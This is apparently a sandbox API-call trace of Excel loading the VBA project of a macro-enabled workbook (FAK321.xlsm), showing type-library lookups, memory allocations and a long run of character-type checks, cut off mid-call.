0x0 [0066.944] ITypeLib:RemoteGetDocumentation (in: This=0xb560950, index=-1, refPtrFlags=0x0, pbstrName=0x170888, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5154916 | out: pbstrName=0x170888*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5154916) returned 0x0 [0066.944] StringFromGUID2 (in: rguid=0xb070c10*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x1708b0, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0066.945] _ultow_s (in: _Value=0x2, _Buffer=0x1707fa, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0066.945] _ultow_s (in: _Value=0x8, _Buffer=0x1707fe, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0066.945] _ultow_s (in: _Value=0x0, _Buffer=0x170802, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.945] wcscpy_s (in: _Destination=0x7ad0598, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0066.945] wcscpy_s (in: _Destination=0x7ad059e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0066.945] wcscpy_s (in: _Destination=0x7ad05ea, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0066.945] wcscpy_s (in: _Destination=0x7ad05f8, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0066.945] wcscpy_s (in: _Destination=0x7ad0678, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0066.945] ITypeLib:LocalReleaseTLibAttr (This=0xb560950) returned 0x0 [0066.945] wcscpy_s (in: _Destination=0x7abb0a0, _SizeInWords=0x104, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.945] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb393d20, cb=0xd00) returned 0xb621170 [0066.945] wcscpy_s (in: _Destination=0xb6216e8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.945] IMalloc:Free (This=0x7fefecb5380, pv=0x7abb0a0) [0066.945] IUnknown:AddRef (This=0xb560950) returned 0x2 [0066.945] IUnknown:QueryInterface (in: This=0xb560950, riid=0x7fee5ca85a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170af8 | out: ppvObject=0x170af8*=0x0) returned 0x80004002 [0066.945] ITypeLib:RemoteIsName (in: This=0xb560950, szNameBuf="Office", lHashVal=0x107515, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.945] IUnknown:Release (This=0xb560950) returned 0x1 [0066.946] IMalloc:Alloc (This=0x7fefecb5380, cb=0x30) returned 0x7780f50 [0066.946] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a0900) [0066.946] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2eae80 [0066.946] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb2eae80, cb=0x5c) returned 0xb5d6b90 [0066.946] IMalloc:Free (This=0x7fefecb5380, pv=0x7780f50) [0066.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x170df0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0066.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0066.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x170f30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0066.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0066.948] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc5e40, cb=0x8) returned 0xb5e8f80 [0066.948] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3ae9c0 [0066.948] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb3ae9c0) returned 0x80 [0066.948] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xb3d3a50 [0066.948] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xb3d3b10 [0066.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x170df0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0066.948] CoCreateGuid (in: pguid=0x170b20 | out: pguid=0x170b20*(Data1=0xe2b8f872, Data2=0xe417, Data3=0x42ec, Data4=([0]=0xad, [1]=0x99, [2]=0x6a, [3]=0xea, [4]=0x9a, [5]=0x5c, [6]=0x42, [7]=0xe2))) returned 0x0 [0066.948] CoCreateGuid (in: pguid=0x170b30 | out: pguid=0x170b30*(Data1=0x869bedd9, Data2=0xb74b, Data3=0x4de9, Data4=([0]=0x8a, [1]=0xd2, [2]=0x2e, [3]=0x5e, [4]=0x96, [5]=0x9b, [6]=0xa6, [7]=0x29))) returned 0x0 [0066.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x170b40, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0066.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0066.948] GetLocalTime (in: lpSystemTime=0x170a18 | out: lpSystemTime=0x170a18*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0x1a, wHour=0x11, wMinute=0x29, wSecond=0x6, wMilliseconds=0x350)) [0066.948] _ultow_s (in: _Value=0x603e78b2, _Buffer=0xb62145c, _BufferCount=0x9, _Radix=16 | out: _Buffer="603e78b2") returned 0x0 [0066.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="01603e78b2", cchWideChar=11, lpMultiByteStr=0x1709b0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="01603e78b2", lpUsedDefaultChar=0x0) returned 11 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x170) returned 0xb527770 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x50) returned 0xb2a0900 [0066.949] strcpy_s (in: _Dst=0xb0d7f40, _DstSize=0xd, _Src="ThisWorkbook" | out: _Dst="ThisWorkbook") returned 0x0 [0066.949] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4cc0, cb=0x68) returned 0xb5d6c00 [0066.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0066.949] wcscpy_s (in: _Destination=0xb621470, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0066.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0066.949] wcscpy_s (in: _Destination=0xb621490, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0066.949] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4fb0, cb=0x12) returned 0xaf27520 [0066.949] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4fc0, cb=0x6) returned 0xafc4fb0 [0066.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x3c) returned 0x7977700 [0066.949] IMalloc:Free (This=0x7fefecb5380, pv=0xb5d6b90) [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2eae80 [0066.949] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb2eae80, cb=0x68) returned 0xb5d6b90 [0066.949] IMalloc:Free (This=0x7fefecb5380, pv=0x7977700) [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x3d0) returned 0xb5a94b0 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2eae80 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0xaf20140 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aea50 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4fc0 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4cc0 [0066.949] IMalloc:Alloc (This=0x7fefecb5380, cb=0x688) returned 0xb393d20 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aeae0 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x640) returned 0xb5a9890 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2ea8e0 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc5e40 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xb5e8f90 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2eaeb0 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aeb70 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x400) returned 0xb2281e0 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x400) returned 0xb2285f0 [0066.950] IMalloc:Alloc (This=0x7fefecb5380, cb=0x400) returned 0xb228a00 [0066.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0066.950] strcpy_s (in: _Dst=0x170b80, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0066.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x170b80, cbMultiByte=10, lpWideCharStr=0x1709d0, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0066.950] IUnknown:AddRef (This=0xb55fe10) returned 0x3 [0066.950] ITypeLib:RemoteIsName (in: This=0xb55fe10, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x170aa0, pBstrLibName=0x1709d0 | out: pfName=0x170aa0*=0, pBstrLibName=0x1709d0) returned 0x0 [0066.950] IUnknown:Release (This=0xb55fe10) returned 0x2 [0066.950] IUnknown:AddRef (This=0xaeffda0) returned 0x2 [0066.950] ITypeLib:RemoteIsName (in: This=0xaeffda0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x170aa0, pBstrLibName=0x1709d0 | out: pfName=0x170aa0*=1, pBstrLibName=0x1709d0) returned 0x0 [0066.950] IUnknown:Release (This=0xaeffda0) returned 0x1 [0066.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x170b80, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0066.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0066.950] wcsncpy_s (in: _Destination=0x170b90, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.950] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x170ac0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.950] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0066.951] CExposedStream::Seek () returned 0x0 [0066.951] CExposedStream::AddRef () returned 0x2 [0066.951] CExposedStream::Read () returned 0x0 [0066.951] IMalloc:Alloc (This=0x7fefecb5380, cb=0x2028) returned 0xb621e80 [0066.952] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10020*=0x10128) returned 0xb623eb0 [0066.953] CExposedStream::AddRef () returned 0x3 [0066.953] CExposedStream::Release () returned 0x2 [0066.953] IMalloc:Alloc (This=0x7fefecb5380, cb=0x2ee0) returned 0xb633ee0 [0066.954] IMalloc:Alloc (This=0x7fefecb5380, cb=0x800) returned 0x4ded250 [0066.954] CExposedStream::Read () returned 0x0 [0066.954] CExposedStream::Read () returned 0x0 [0066.954] IMalloc:Alloc (This=0x7fefecb5380, cb=0x404) returned 0xb228e10 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="…", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.954] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr=" ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¡", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¢", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.955] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="£", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¤", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¥", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¦", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="§", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¨", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="©", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ª", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="«", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¬", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="­", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="®", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¯", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="°", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="±", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="²", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="³", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="´", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="µ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¶", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="·", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¸", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¹", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="º", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="»", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¼", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="½", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¾", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¿", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.956] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="À", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Á", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Â", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ã", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ä", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Å", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Æ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ç", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="È", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="É", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ê", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ë", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ì", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Í", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Î", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ï", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ð", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ñ", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ò", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ó", cchSrc=1, lpCharType=0x170c90 | out: lpCharType=0x170c90) returned 1 [0066.957] GetStringTypeA (in: 